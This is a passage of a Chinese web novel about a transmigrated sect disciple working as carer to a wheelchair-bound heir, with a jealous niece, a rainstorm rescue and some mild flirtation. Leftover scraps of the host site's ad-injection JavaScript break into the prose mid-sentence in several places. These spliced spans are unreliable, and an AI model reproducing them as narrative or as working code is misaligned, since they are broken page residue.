目送两人的身影消失在楼梯拐角处,她才离开去吃早餐。 鸡蛋剥好壳,嗷呜咬下一大口,就见应该在楼上的老管家匆匆朝她跑来。 “小白,你等在再吃,先跟我上楼,小少爷要找你。” 找她? 白幺幺眉心微拢,目光触及被她喝一半的粥,脑中浮现昨天喂饭的画面,心下了然。 只是新的护工不是来了吗?小少爷似乎有点粘人呀! 白幺幺边跟在老管家身后,边在脑中翻找,可惜无果。 师姐们没有教过她,未来双修道侣太粘人要如何处理。 不过她有偷偷听过五师姐和三师姐吐槽五师姐夫,当时五师姐说了五师姐夫的很多毛病,最后三师姐听烦了,直接让五师姐干脆把五师姐夫休了 ,然后五师姐吞吞吐吐来了句啥话? 白幺幺想了想,五师姐当时好像是说“能怎么办,自己选择的,再怎样也只能宠着呗!” 到了,白幺幺停止回忆。 新来的护工小李站在门口,那表情,白幺幺轻轻松松就猜到是被赶出来的。 这回进屋没有一片狼藉,床边不远处只躺着一个枕头,房间里刚刚发生了啥,一目了然。 “让新的护工走,也别换人来了,以后由她来照顾我。” 安子皓闭着眼睛没看人,说话的声音冷沉中透着点沙哑,至于他口中的她是谁,老管家听懂了,白幺幺当然也听懂了。 老管家有那么一瞬间的为难,不过很快就应声道:“好的,小少爷。” 情况有变,老管家只能重新安排。 跟着老管家重新回到楼下,老管家轻叹了口气,拍了拍白幺幺的肩膀,“小少爷的话你刚刚也听到了,专职照顾小少爷可能会累点,不过小白你放心,工资方面会给你加上,你以后就其他工作都放下,全职照顾小少爷。” “还有小少爷不要其他护工,你顶了护工的工作,等下我会找些专业的师傅来教你如何给小少爷做腿部按摩……” 第7章 残疾少爷的保姆(07) 老管家当然知道让男护工来照顾自家小少爷比较好,不管是专业能力,还是其他。 白幺幺毕竟还是个未嫁人的小姑娘,小少爷那情况,照顾起来会遇到诸多不方便的情况。 可小少爷要求了,老管家能怎么办,老爷不在,而且如今的小少爷,怕是老爷在也劝不动,想想也只能在其他方面多照顾下白幺幺了。 老管家的动作很迅速,中午她才给小少爷喂完饭,教她腿部护理按摩的人已经来到安家待命了。 考虑到她目前工作特殊性,白幺幺只能趁着小少爷午睡的这段时间和人学习。 她的学习能力杠杠的,一个小时就学的似模似样,老师傅直夸她有吃这行饭的天赋,很快就能出师了。 原主有午间小憩的习惯,今天为了抓紧时间学习,她中午没睡,到点了白幺幺就接连打了好几个哈欠。 没得办法,困也得强打起精神来,谁让她还只是个苦命打工人。 白幺幺这边刚学习完,还不待她喘息下,楼上小少爷已经醒来在召唤她了。 安子皓神色淡淡的吩咐,“推我到花园。” 房间窗帘是拉开的,透过窗户玻璃外面情况一览无余。 没有艳阳高照,也没有蓝天白云,更不是微风徐徐。 下午两点多,外面瞧着不知道还以为傍晚五六点了,天黑沉沉的,风呼呼的吹,再没常识的人也知道要下雨了。 白幺幺仅迟疑了一瞬,就决定满足小少爷的要求,按照剧情,小少爷从医院回来就没踏出过房间。 将人从床上抱到轮椅上,白幺幺抱人的动作是越抱越娴熟,小少爷则是被抱着抱着也开始习惯这个动作。 “小少爷,你在房里等下,我去衣帽间给你找件外套。” 外面风大,小少爷现下的情况可禁不住再感冒。 白幺幺有意控制自己去衣帽间拿衣服的时间,给小少爷留足时间,人目前还处在极度敏感时期,过度事事过问,比如要上卫生间吗之类的,不仅不会让人体会到被关怀备至,反而容易激发出各种情绪来。 大概六七分钟后,白幺幺拿着件深灰色薄款运动外套从隔壁衣帽间出来,卫生间的门也恰巧这时开了,小少爷自己控制的轮椅从里面出来。 白幺幺没有说什么,缓步过去把手中外套放在小少爷大腿上,留下句“少爷,外面风大,你先把外套穿上”,她就绕到轮椅后面开始推着人出房间。 安子皓垂眸盯着大腿上多出来的衣服迟迟没动手,直到进了电梯他才拿起外套穿上。 哼,他才不会给那女人借着为他穿衣占他便宜的机会了! 安家作为顶级豪门,居住环境真不是一般的豪,花园很大,布景优美,小桥、流水、亭台、竹林幽径、似锦繁花,仿若一个小型的桃花源。 唯一美中不足的就是天空不作美,此时要是天朗气清,再搭配上此美景,漫步其中简直不要更美哉。 大雨将至,空气中裹挟着丝丝泥土湿气,不难闻就是了。 白幺幺缓慢的推着轮椅,看不到小少爷此时的表情,两人一路上都没说话。 现代建筑住着舒适便利没错,但是白幺幺还是更喜欢古风建筑,竹林小屋之类的。 习惯午睡的人,一天没午睡,下午精神不会很好,白幺幺就特别明显,一路上她已经捂嘴打了好几个哈欠。 她漫无目的推着人在花园闲逛,不知不觉的两人来到了宅子的后门处。 一路到底就是紧闭的大铁门,白幺幺推着人准备原路返回,就在这时一辆出租车在大铁门外缓缓停下,随即后车门打开下来个一袭白裙的妙龄少女。 正准备给轮椅调转个方向的白幺幺动作停顿了下,眉梢轻挑。 她怎么来了? 没错,出租车上下来的正是大早上才和白幺幺通过电话的女主白晴。 垂眼扫了下轮椅上的人,白幺幺眸光沉了沉。 这是剧情的力量,还是? 剧情中男女主会今天第一次正式见面和认识,白幺幺以为她早上在电话里已经讲的很明白了,没想到女主现在还是自己跑来了。 哼,她们合欢宗的人最护短,也最护食了!< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 这边白幺幺看到女主了,那边女主也看到白幺幺了。 白晴笑容灿烂的朝白幺幺挥手,“小姨,小姨,想我没,知道你没空来接我,我就自己打车过来了。” 白幺幺:“……” 她没第一时间回应女主,而是推着小少爷来到不远处凉亭,“少爷你先在这里等我下,我去处理点私事就过来,很快的。” 大铁门外,白晴看见白幺幺的动作,秀眉蹙了蹙,早上被压下的情绪再次上来。 小姨真的不一样了。 不同于电话里的感觉,现在见到真人,直接坐实了。 白晴又开始心慌了,有种很重要事情脱离原本轨道的糟糕感觉。 难道是因为小姨的变化? 相较于白晴将心中不快在见到白幺幺走近就隐藏起来,白幺幺则直接赤裸裸摆在脸上。 “你语文没学好吗?不是说到了自己去住酒店,别过来找我。” 对于不喜欢甚至 反感的人,白幺幺向来没耐心,也没那个好脾气。 白晴:“……” 也是这时她才发现白幺幺没戴眼镜,瞳孔骤缩。 “小姨,你的眼镜,你怎么没戴眼镜!” 白晴激动的语气中甚至带着点破音,眸底极快的闪过一抹妒忌之色。 小时候,见过她的人都夸她长得好看,像观音娘娘座下的小仙童,可这些人只要见过她小姨,后面也会夸她,可是夸完总会补上一句,她家还有个更好看的小姨了。 打小,白晴最讨厌听到就是别人夸这个才比自己大三岁的小姨,特别还是夸她比自己好看。 可是人小,做不了太多事,最多只能给白幺幺找点小麻烦,不让外婆给白幺幺买好看的衣服鞋子。 后来白幺幺上初中时眼睛轻微近视,本不需要戴眼镜也影响不到学习的,但是她撒娇让外婆带白幺幺去配了副眼镜,镜框选那种又大又土的黑框。 再之后又让自己妈妈带白幺幺去剪了个厚重齐刘海的发型,这样再配上土土的大黑框眼镜,颜值直接打对折。 第8章 残疾少爷的保姆(08) 久而久之,夸白幺幺的人少了,加上白幺幺越长大性格越沉闷,每次在外人面前都是一副含胸低头、小家子气的模样。 外人夸白晴时,不仅没像之前那样顺嘴夸下白幺幺,甚至出现拉踩的言论,什么这孩子没小时候长得好看,怎么越长越歪,性格也越大越不讨喜了…… 白幺幺不耐烦道:“眼镜丢了就没带了呗!” 白晴着急问,“什么时候丢的?” “早上。” 白幺幺皱眉,她不喜欢女主步步紧逼的追问,当然无关紧要的问题她就简单回答下。 听到早上才丢的,白晴悬空的心的才落下,同时心里不免生出各种猜测。 小姨对自己的态度突然变化这么大,会不会就是因为眼镜,那些看过她没戴眼镜样子的人,其中有谁对她说了什么。 或者,白晴视线不动声色的落在白幺幺身后的豪宅,也可能是某人身在繁华中,被繁华迷了眼,生出了不该有的心思。 想到这种可能,白晴脸上的笑差点维持不住。 当初知道小姨是在安家工作,平时经常都能见到安少,白晴简直既嫉妒又恐慌。 时刻担心着小说照进现实,她的小姨借着在安家工作的便利,近水楼台先得月将安少勾引到手,直接麻雀变凤凰。 这样的情况她怎么可能允许发生,本想让小姨辞了这份工作的,只是,远远见过安少一面,她改变主意了。 近水楼台先得月,麻雀变凤凰的为什么不能是她。 白晴开始打着关心的幌子,各种忽悠她小姨,讲述了怀璧其罪的故事,以及各种豪门忌讳。 简单总结就是,能在安家工作,机会难得,去了要少说话多做事,平时尽量降低自己的存在感,眼镜要一直戴着,有钱人喜欢雇佣颜值一般的,最反感佣人勾引主人家爬床,而且出门在外的,扮丑点也能好好保护自己。 “也怪我,之前都没提醒小姨你,眼镜要多配一副,备用。” 说话间,白晴伸手想去挽白幺幺的胳膊,不过被她避开了。 白幺幺没去理会女主的小心思,“不用,我以后都不戴眼镜了。” 没戴眼镜完全不影响她生活,她才不继续戴那麻烦的玩意了。 “不戴?怎么能不戴了!” 白晴失控的上前一步,惹得白幺幺不悦皱眉。 短暂交锋后,白幺幺对女主失了兴趣。 “白晴,我是长辈还是你是长辈,请注意你的语气和态度,还有我回去工作了,你也离开吧。” 白晴:“……” 不是这样的,不应该是这样的。 让自己快速冷静下来,白晴调整好面部表情,朝着白幺幺可怜兮兮道:“小姨,我大老远的跑来了,晚上我就跟你住一个屋,既省下了酒店钱,咱们晚上还能聊聊天。” 白晴低了低头,声线透着点委屈,“肯定是因为咱们很久没见,平时我学业忙,都没怎么关心小姨你,所以小姨现在对我都开始生疏了。” “我们家就只剩下小姨和我了,我……” “停!” 白幺幺听不下去了,神经病,和她打感情牌,她又不是原主才不吃这一套。 白晴:“……” 面对油盐不进的白幺幺,白晴内心升腾起深深的无力感,她甚至很想扑上去撕碎白幺幺那张脸,只不过被她生生忍住了。 答应小少爷会很快回去的,没成想女主像是听不懂人话,难沟通极了,也不知道小少爷是不是等的生气了。 “我回去工作了,你自便。” 白幺幺留下这么一句话,直接转身回去,白晴反应过来想追,还是晚了一步,眼睁睁的看着大铁门关上。 被拒之门外的白晴:“……” 她……她怎么敢……她怎么真的敢…… 酝酿了许久的雨也在这时落了下来。 望着白幺幺离开的背影,白晴面部表情渐渐扭曲起来。 小跑来到凉亭,没到小少爷,白幺幺有些急了。 有想过小少爷可能不会乖乖待着等她,可小少爷真这么做了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,白幺幺没有生气,更多的是担心。 她开始沿着回去的方向找人,现在还只是零星小雨,她没急着去惊动其他人。 小少爷毕竟坐着轮椅,白幺幺没一会儿就找到人了,只是情况有点不好。 小少爷坐在地上,轮椅斜倒在不远处,应该是摔了,就是不知道有没有受伤。 远远地,白幺幺没看清小少爷脸上的表情,可只单是看到小少爷就这样一动不动坐在地上,她内心轻轻叹了口气。 快速跑过去,白幺幺什么话也没说,她先把轮椅扶正,然后俯身将人抱到轮椅上,动作温柔的连她自己都没察觉。 她没有急着去检查小少爷有没有摔伤哪里,细细小雨有开始变大的趋势,她必须赶紧推着人回去。 白幺幺只是犹豫了一瞬,推着轮椅开始小跑起来。 现在推着人回去已经来不及了,只能就近找个凉亭躲雨,而老管家发现下雨了,他们又迟迟未归,肯定会出来找他们的。 只是,人倒霉时,真的是喝凉水都塞牙缝。 白幺幺 悲催的发现轮椅在她的推力下依旧一动不动,应该是出现故障了。 没给白幺幺时间,老天爷也像是故意要为难她般,雨势没有缓冲的骤然变大。 白幺幺:“……” 她咬了咬牙,没有一丝犹豫的俯身抱起人就跑。 同时心中将贼老天骂了又骂,啥时候不下雨偏偏这时候下,还越下越大。 还有那被落在原地淋雨的轮椅,白幺幺也骂上了,早不坏晚不坏,真会挑时间坏,质量肯定不咋地。 白幺幺毕竟只是个娇小女人,平时将小少爷抱上抱下瞧着轻松,可这和抱着人跑完全是两个概念。 才跑出不到二十米,白幺幺已经开始觉得吃力了。 下雨了路滑,她还要小心翼翼的,防止脚滑摔倒,她自己摔了没事,连带着小少爷一起摔了就不好了。 从白幺幺找到他开始,安子皓就一直垂着眸,像没有灵魂的躯体,任由白幺幺摆布。 第9章 残疾少爷的保姆(09) 水滴打在脸上,不冰,有温度,烫了他一下。 原本像是蒙上一层雾的眼睛渐渐变得清亮有神,视线上移,刚好亲眼见证又一滴温热的小水珠子滑落,落在他的眼尾处,与打在脸上的雨水混在一起,凝聚成滴滚落。 此时的女人很狼狈,脸上湿答答的,额前湿头发黏成一揪一揪贴下在脸上,坚定的眼神,粗重的喘息声,呼出的气体隐隐形成白雾。 安子皓看着看着就移不开视线了。 白幺幺真的已经尽力了,抵达离得最近的凉亭时,两人都被淋湿了。 把人放在凉亭石凳上,她第一时间蹲下身卷起小少爷的裤腿,想看看方才摔倒有没有磕破皮流血。 只是她的手才卷起一小节裤腿,就被一只骨节分明的大手擒住。 白幺幺以为小少爷又闹脾气了,温声细语的哄道:“乖,先放手好不好,我就是看看你脚有没有摔破皮,回去好第一时间处理,不然伤口淋了雨,容易发炎。” 瞅着小少爷淋了雨的狼狈可怜模样,白幺幺内心自责得要命,再想到小少爷刚可能摔伤了哪里,她心口就闷堵得慌。 清澈透亮的眼眸,干净到能让人一眼望到底,安子皓下意识伸手想要去触碰。 白幺幺:“……” 眼瞅着小少爷的手指已经快戳到自己眼睛上了,白幺幺脑袋条件反射的后仰避开,她不明白小少爷要做什么。 小少爷的手就这么僵在半空中,凉亭将两个世界隔绝开,凉亭外淅淅沥沥的雨声,却打破不了凉亭内的静。 白幺幺试探的问,“少爷,你是要帮我擦汗?” 安子皓没有说话,只是收回手,别开脸看凉亭外的雨景,同时放开擒住白幺幺的那只手。 白幺幺:“……” 算了,现在的小少爷喜怒无常些,脾气古怪些都能理解。 白幺幺继续方才的动作,宽松的裤子,裤腿轻轻松松卷到了膝盖以上,两边都仔细检查了一遍。 没有破皮流血的伤口,左膝盖有一大片乌青,还有几处轻微红肿。 指腹轻轻触摸膝盖的乌青,白幺幺很想问痛吗,可是答案根本不需要问。 莫名的,白幺幺有些同情小少爷了,身为小世界的男主,却要经历这些,最重要是还给他配了像白晴那样的女主,这样的男主待遇,感觉也不咋地。 按照世界剧情,小少爷的残疾是终身,后期没有出现任何奇迹。 如果小少爷跟着去她的世界,这样的腿疾轻轻松松就能搞定,可惜她自己都还回不去了。 也不知道那个世界的双修功法在这个世界有用吗? 哪怕修炼不出修为,强身健体也行。 算了,管她有用没用的,反正到时和小少爷双修时,两人都修炼看看。 “你在想什么?” “也没什么,就是在想和你双修的事。” 小少爷的问题问的猝不及防,白幺幺的答案脱口而出。 凉亭中好不容易被打破的静再次重新恢复。 害羞,想找个地洞钻,完全是不存在的,白幺幺只是担心自己的措辞可能会引起误会。 这个世界讲科学,杜绝封建迷信,她刚刚用了双修,小少爷不会往那些邪教上想吧! 唉,白幺幺无声叹气。 她们合欢宗好难呀! 小少爷皱眉,他什么都还没说,摆出那是什么表情。 安子皓从牙缝里挤出四个字来,“不知羞耻!” 白幺幺:“……” 怎么说话的,会不会说话! 她们合欢宗是没少收到这四字的评价,可话从小少爷嘴中出来,白幺幺还是不开心了。 “哼!” 白幺幺别开脸,第一次对小少爷耍脸子。 她的那些师姐夫们,好几个刚开始也这样骂过师姐们,可是后来,一个个定下名分后,都被师姐们揪着耳朵修理的可惨了。 想象着自己揪着小少爷耳朵的画面,白幺幺乐得噗嗤笑出声来。 安子皓:“……” 女人还真是善变啊! 通过监控确认两人位置,在监控里看到白幺幺抱着安子皓在雨中跑,猜测应该是出了什么意外,老管家忙带着保镖赶过来。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 白幺幺笑出声时,老管家刚好也带着人到了。 没有第一时间指责白幺幺工作失责,没把少爷照顾好,老管家递给白幺幺一块大毛巾,“小白,快先擦擦,回去后赶紧洗个热水澡,别着凉了。” 白幺幺接过毛巾,道了声谢。 天还是阴沉沉,雨却在这一刻停了。 老管家过来时,并没有带新的轮椅过来,回去的路上,只能让体格彪悍、肌肉遒劲的保镖抱着小少爷,白幺幺就算想亲自抱,也心有余而力不足了。 回去后,白幺幺先将小少爷安排进浴室洗热水澡,才离开也去洗热水澡。 热水从头顶喷洒下来,白幺幺开始想,如果自己和小少爷情况对调,双腿残疾的是她,那她会是以何种状态面对。 想来想去,白幺幺觉得她脾气肯定比小少爷还坏。 没有后盾的人才能,也才会学会坚强,老宗主瘫了那么多年,脾 气不仅没有收敛,一年比一年坏,经常不是推翻碗盘,就是骂骂咧咧的。 打理好自己,白幺幺一出门就被老管家塞了碗热气腾腾的姜汤,催促着她赶紧喝了,驱驱寒。 白幺幺其实不喜欢喝这玩意的,不过是老管家的一片好意,没办法,只能咬牙咕咚咕咚喝完。 死道友不死贫道,既然贫道死了,道友当然也要跟着死。 白幺幺朝老管家扬了扬空碗,“姜汤还有吗,我端一碗上去给少爷。” “有的,有的,就是不知道少爷会不会喝。” 白幺幺:这的确是个问题。 她和老管家对视一眼,读懂了彼此眼中的意思。 白幺幺端着姜汤进屋时,没看到人,浴室里隐隐有水声传出。 看了下时间,有四十几分钟了。 把姜汤放在桌上,她来到浴室门前。 “少爷,你还没洗好吗?洗澡洗太久对身体不好。” 白幺幺刚说完,浴室的水声戛然而止,紧接着门开了。 白幺幺第一时间察觉不对,“少爷,你又洗冷水澡!” 明明她离开时,有帮人调好水温的。 第10章 残疾少爷的保姆(10) 磨牙声在白幺幺口腔中奏响,垂在裤腿两侧的五指不知不觉收拢了。 失去过的人才懂得拥有的不易,死过的人才知道生命的重量。 “安子皓!” 这是白幺幺第一次喊小少爷的名字,还是连名带姓的,可见她真的生气了。 安子皓抬头,眸底还有没化去的错愕。 紧接着白幺幺的动作更是惊呆了咱们小少爷,让他连反应都忘记做了。 热水从头顶喷洒而下,没一会儿盖在大腿上的浴巾就湿透透了,服帖的粘在大腿上,将男人下半身的弧度展现出来。 浴室水汽萦绕,镜子和玻璃都蒙上一层水雾。 淋了雨的小少爷模样狼狈可怜,可,同样是湿身,现在的小少爷怎么有点吸睛。 眸中的怒气不知何时已经散去,双眼一眨不眨的盯着面前被热水烫得红粉粉的皮肤,白幺幺竟生出想伸手触摸下那肌理分明的胸膛。 “咕咚!” 什么声音? 浴室热气升腾,白幺幺大脑短暂缺氧,等意识到方才是什么声音后,脸腾的一下就红了。 安子皓的脾气和白幺幺的怒气一样,来得快去得也快,而且还全因同一个人。 小少爷在察言观色、洞察人心这块可是翘楚。 “想摸?” 小少爷眼神戏谑,唇角微不可察的上翘,整个人的状态在不知不觉中改变了,具体不好形容,大概就是灵魂变轻了。 白幺幺嗫嚅了下唇,十分诚实的点头,双眸亮晶晶的问:“可以摸吗?” 安子皓唇角微微抽搐了下:“……你说呢!” 白幺幺不确定的伸手,“我说可以?” 安子皓:“……” 想到前几次“不愉快”的经历,他拉下来脸无情拒绝。 “不可以!” 停顿了下,小少爷咬着牙补充道:“本少爷看起来像是随便的人吗?” “不是。” 白幺幺摇头,“我也不是。” 她的话换来小少爷一记怀疑的目光。 要说合欢宗最大的缺点是啥,那就是不知羞耻,而最大的优点那也是不知羞耻。 心动不如行动。 既然心动了,白幺幺心痒痒的很想行动。 “真的不可以摸摸吗?”她问,语气中带着自己都没察觉的讨好,大眼睛亮晶晶的。 安子皓:“……” 小少爷有点被整不会了怎么办,主要是像白幺幺这类人,小少爷是第一次接触。 或许世间不缺这类人,可白幺幺就一个,也只有白幺幺这一个意外,有机会蹦跶到他面前来。 恶趣味顿生,小少爷说:“给你摸一下也不是不可以,不过你也知道我的身份,作为一名合格的资本家,亏本生意我是断不会做的。” 白幺幺点头,“少爷,你就直接说吧,怎样才给摸?” 两人你来我往的,不知道的还以为是在谈什么好几千万的项目。 “很简单,礼尚往来,我的给你摸,你的也给我摸”,小少爷用平静无波的语气说着让人臊红脸的话。 说完,小少爷还挑衅似的将目光移向白幺幺前胸山峦处,视线还不待停留,立马像是触电般移开,脸颊随即发烫泛红。 此时白幺幺胸前衣服湿了一片,应该是刚刚被溅湿的,而她穿的是一件宽松的白色衬衣,那布料沾了水,就变得十分透,布料下的风光…… 没注意到小少爷的异样,白幺幺垂眸咬唇在思考这“买卖”能做吗? 几个呼吸间,白幺幺得出结论,买卖非常能做。 还没给小少爷名分前,她单方面占小少爷便宜,是渣女行为。 可要是两人互相占便宜,小少爷不吃亏,是双赢的局面,简直太棒了。 白幺幺爽快答应:“可以呀,为了表示我的诚意,我让你先摸。” 刚平复心中异样情绪的安子皓:“……” “白幺幺,你还是女人吗?” 白幺幺愣住。 白幺幺皱眉。 白幺幺疑惑。 “我当然是女人呀!” 不过她是新人,也不知道后面任务会不会有让她当男人的机会。 “呵,我以为你不知道自己是女人!” 安子皓轻嗤一声,话语中的嘲讽意思简直不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 要太明显。 白幺幺听明白了,可是她不在意,就是有点遗憾今儿的买卖是做不成了。 浴室的小插曲以白幺幺被丢了条浴巾在身上,而后赶出来为终结。 出来后,她才发现自己衬衣湿了一大片,想了想还是先去换个衣服再回来,毕竟她还有件大事要做,监督小少爷喝姜汤。 只是她才换好衣服,老管家找来了,或者确却的说不是老管家,而是某个不速之客又来了。 “小白,保安说大门外来个小姑娘要找你,说是你的外甥女。” 白幺幺:“……” 听不懂人话的人也能当女主? 本想让老管家通知保安直接把人赶走的,想了下,白幺幺还是决定再去会会女主。 见到人,白幺幺第一时间问:“你怎么又来了?” 白晴 :“……” 她委委屈屈喊人,“小姨。” “是我不小心做错什么了吗?你为什么突然对我这么冷漠不耐烦,你告诉我,我会改的,你快变回以前那样好不好。” 说着说着,小姑娘开始啪嗒啪嗒掉眼泪,小声抽噎,仿佛受了很大委屈。 白幺幺皱眉低喝,“停,不许哭。” 放心上的人哭惹人心疼,可讨厌的人哭,那简直是污染耳朵和眼睛。 哭声像是被吓停般,小姑娘轻咬粉唇,小心翼翼的看着人,“小姨,你别这样,我怕。” 白幺幺才不吃这套了,“有事说事,没事我进去了。” 白晴:“……” “我……” 她慌乱的从包里掏出一个小袋子来,“小姨,你眼镜不是丢了吗,我帮你配了一个,给你。” 白幺幺没有接,“不需要,你走吧,我进去了。” 自从开始做任务后,白幺幺觉得自己脾气变好很多,原先在她那个世界,遇到白晴这样的,她早就动手了。 再次目送白幺幺离开的背影,白晴手握成拳,指甲陷进肉里,痛得她咬紧牙关。 贱人。 贱人! 果然是贱人!! 怎么敢,怎么敢这样对她…… 第11章 残疾少爷的保姆(11) 不远处执勤安保人员一直有留意门口的动静,不过他全是素质极高,能力卓越的退伍军人,没那么大的好奇心,也没大部分男人容易对陌生女人起怜香惜玉心思的癖好。 眼见白幺幺已经走没影了,白晴如同是被抛弃的小可怜,低垂脑袋,让人无法看清她此时扭曲狰狞的表情。 下过雨,到处都是湿答答的,天空仍是乌压压一片,随时可能再次迎来大雨。 此情此景此人,让人瞧着容易忍不住上前关心,当然这人绝对不会包括守门的安保人员。 少女单薄的身影伫立在那良久,时不时抬头眼巴巴的看向大门内,而是期待眸光熄灭,就这样来来回回好几次,最后彻底失望了,离开时,眼眶红红的,模样瞧着十分落寞可怜。 晚上。 白幺幺同志挽起袖子,检验学习成果的时刻到了。 “少爷,我现在要开始给你做腿部按摩。” 白幺幺没用询问的语句,而是直接通知某少爷,本以为不会得到回复。 小少爷从鼻腔里轻“嗯”了一声,白幺幺愣了下,就开始她的按摩大业。 虽是初学者,白幺幺却是拿出百分之两百的认真在学,如今付诸实践她脸上神情是前所未有的严肃认真。 安子皓面无表情的看着那双白皙纤细的手附上他左腿,灵活地在他腿上动作,心底深处不受控制的颤动了下。 手掌在双腿各处游走,依次揉搓按摩膝部、内外踝、足跟、脚趾等部位,白幺幺手劲大,配上合理的按摩手法,效果很好。 足足按摩了半个小时,白幺幺才收工。 全程白幺幺全身心投入,而小少爷就是静静看着,两人一句话也没交流。 活动活动手腕,左捏捏右捏捏发酸的肩膀,按揉下手指及虎口处,最后再伸展下腰身,白幺幺打着哈欠道:“少爷,没其他事,我回去睡了。” 继那晚陪床事件后,白幺幺后面接手护工工作后才听老管家说,小少爷拒绝护工陪床,他不需要,有人和他在同一个空间,他根本睡不着。 别说是打通旁边的房间,让人在隔壁睡,方便时刻为小少爷服务,就是把人安排住同一楼层,小少爷也不同意。 不过小少爷房间里装有紧急呼叫系统,是个高科技产物,不仅能够语音控制,还能做一些智能检测,自动触发警报。 “嗯。” 小少爷这次“嗯”的这声不是从鼻腔里发出来的,性感的喉结轻轻颤动了下,双唇微启。 白幺幺是真的累了,扭着脖子离开。 翌日,大清早四点半左右。 白幺幺再次被手机铃声吵醒,也怪她太累了,回来后简单洗漱下就倒床睡了,忘记把手机关机。 又是那个烦人精女主。 起床气必须发泄下,白幺幺按下接通,没给对方说话的机会直接劈头盖脸骂道:“有病,看看现在才几点,扰人清梦罪大恶极,我最后说一次,除非我主动联系你,不然不要再给我打电话,也不要过来找我。” 白晴:“……” 脸色比打翻了颜料盘还精彩,忍了又忍才没把手机摔出去。 从小到大,她一直有绝对自信,能将白幺幺掌控在手中,对方根本无法也不会脱离她的掌控。 可是现在,白晴根本不想去回忆,她活到现在还没如此受委屈过,给她委屈受的还是她一直没放眼里过,最瞧不起、最厌恶鄙夷的人。 怎么可以! 不应该是这样的! “别挂,小姨,告诉我,你是不是遇到什么事了,害怕连累我,才会突然性情大变,如此对我。” “咱们家就只剩我们两个了,你忘了,你答应我妈和外婆,会好好照顾我的,不管你有什么隐情,和我说,我们一起面对,一起解决,我都会陪着你的。” 白幺幺:“……” 被吵醒,人还没完全醒来,挂电话的手速慢了点,白幺幺被迫听了一堆废话。 “挂了。” 她还是很有礼貌的说了声,挂掉电话后,她找出女主所有联系方式,删除的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 删除,拉黑的拉黑。 时间还早,白幺幺倒头继续睡。 “昨晚没睡好?” 吃早饭的时候,老管家瞧见白幺幺精神状态不是很好,关心的问。 白幺幺摇头,将口中的粥吞咽下去,才说:“不是,就是早上四点半的时候被电话吵醒了。” 老管家微皱眉,“对方是有什么急事吗?” “没有,就打来说了一些没营养的废话。” “这样啊,下回睡前记得将手机关机或者调飞行模式。不过那个打电话给你的人也太没分寸了,哪有人这个点打电话打扰别人的”,说到最后老管家语气中都染上了些许责备味道,至于责备谁,当然是那个打电话的人。 老管家是独身主义者,无儿无女的,父亲退休后,他接替其工作,继续在安家当管家,一眨眼也干到这副岁数了。 自己没后代,和原主接触多了,他真的很喜欢这个背负沉重负担,却依旧活得积极向上的小姑娘。 白幺幺吃得差不多时,老管家手机响了,听到是小少爷的爷爷,也就是安家老 爷子打来的跨洋电话,她立马不急着走了,又拿了个馒头开始慢条斯理吃起来。 安老爷子不知道说了什么,就见老管家激动的站起来,动作幅度很大,直接带倒了身后的椅子。 而此刻的老管家也顾不得这了,边着急的往外跑边回复电话一头的安老爷子。 “真的!好,好好,太好了,我现在立马去安排,尽快安排小少爷出国接受治疗。” 出国治疗? 又一关键剧情要来了吗? 剧情中安老爷子奔赴国外给小少爷找治腿的方法,皇天不负有心人,真让老爷子找到了。 能不能行,暂且不知道,不过对方说出的理论一套一套的,又有各种权威机构的数据支撑,以及多个成功案例。 安老爷子不心动才怪,特别是脑中浮现起出国前见到孙子的模样,有希望了,先不管希望大不大,只要有一丝可能,他都要抓住。 第12章 残疾少爷的保姆(12) 在原剧情中,女主白晴借着原主这个炮灰工具人已经入住进来,而且在住进来的第一天晚上,趁着所有人都睡着了,偷偷跑进安子皓的房间。 两人初中同校不同班,安子皓是学校的风云人物,没人不知道他,毫不夸张都说,当时的安子皓可以说是全校女生梦中的白马王子。 白晴那时当然也春心萌动了,只是后来家里遭逢变故,她没办法继续和安子皓一个学校,两人的交集就此彻底断开。 不过她就像是老天的宠儿,向来是幸运的。 上天给她关了一扇门,又给她开了一扇窗。 在知道白幺幺是在安子皓家工作,心中原本还只是颗种子的欲望瞬间破土而出,慢慢长成参天大树。 白晴是个有野心的聪明姑娘,她没有急哄哄的行动,懂得欲成大事需要谋而后动。 得到安子皓出事故导致双腿残疾的消息,她知道自己苦苦等待的时机到了。 借着在安家当保姆的小姨的关系,她十分顺利的进入安宅。 然后用和安子皓同校同级同学关系以及小女孩那羞于与外人道的心思为借口,白晴半夜偷偷进入安子皓的房间。 房间里是怎么样一副情况,她早就打着好奇的旗号,从她小姨那套出很多信息。 也就是知道房间里的大概情况,她才有了如此大胆行为,因为她心中有一个十分完美的计划。 房间环境糟糕透顶,肚子也饿着,这种情况下安子皓根本不可能睡着。 白晴扮演的是做贼心虚的纯真小姑娘,她是低着头猫着腰小心翼翼推开门的,也幸好她考虑到位,知道演戏全程都要投入。 安家不比其他人家,家里明面上装了好多监控,暗处说不定应该也有,她一点也不想因为自己的不小心横生枝节。 开门的瞬间,白晴无比感谢自己的先见之明,低头的动作完美将她脸上恶心嫌恶表情掩藏住了。 房间里虽然只开着盏暖色调的台灯,不过安子皓视力超级好,如果白晴推开门时,是抬头脸对着门内的,那她脸上的表情将被安子皓一览无余,这样的后果就是她出师未捷身先死。 当时白晴内心是有点崩溃的,安子皓在她心中的形象破灭,她是万万没想到曾经光风霁月、高不可攀顶级豪门少爷,竟然也会有躺在屎尿上的一天。 有那一瞬间,白晴是想打退堂鼓的,只是想到安家的权势地位,以及那泼天的富贵,她生生压下肚中翻腾的呕吐感,整理好情绪,仰起头时,脸上眼里全是心疼和怒意。 “太过分了,安子皓同学,他们是不是阳奉阴违,欺负你……你……” 白晴说着说着就开始掉眼泪,心急的想快点走到床边看床上人的情况,没注意到地上碎裂的碗碟,一个没注意,脚后跟处被瓷片划伤了。 不过她也仅仅是受痛轻嘶了下,并没有立马去查看自己的伤口。 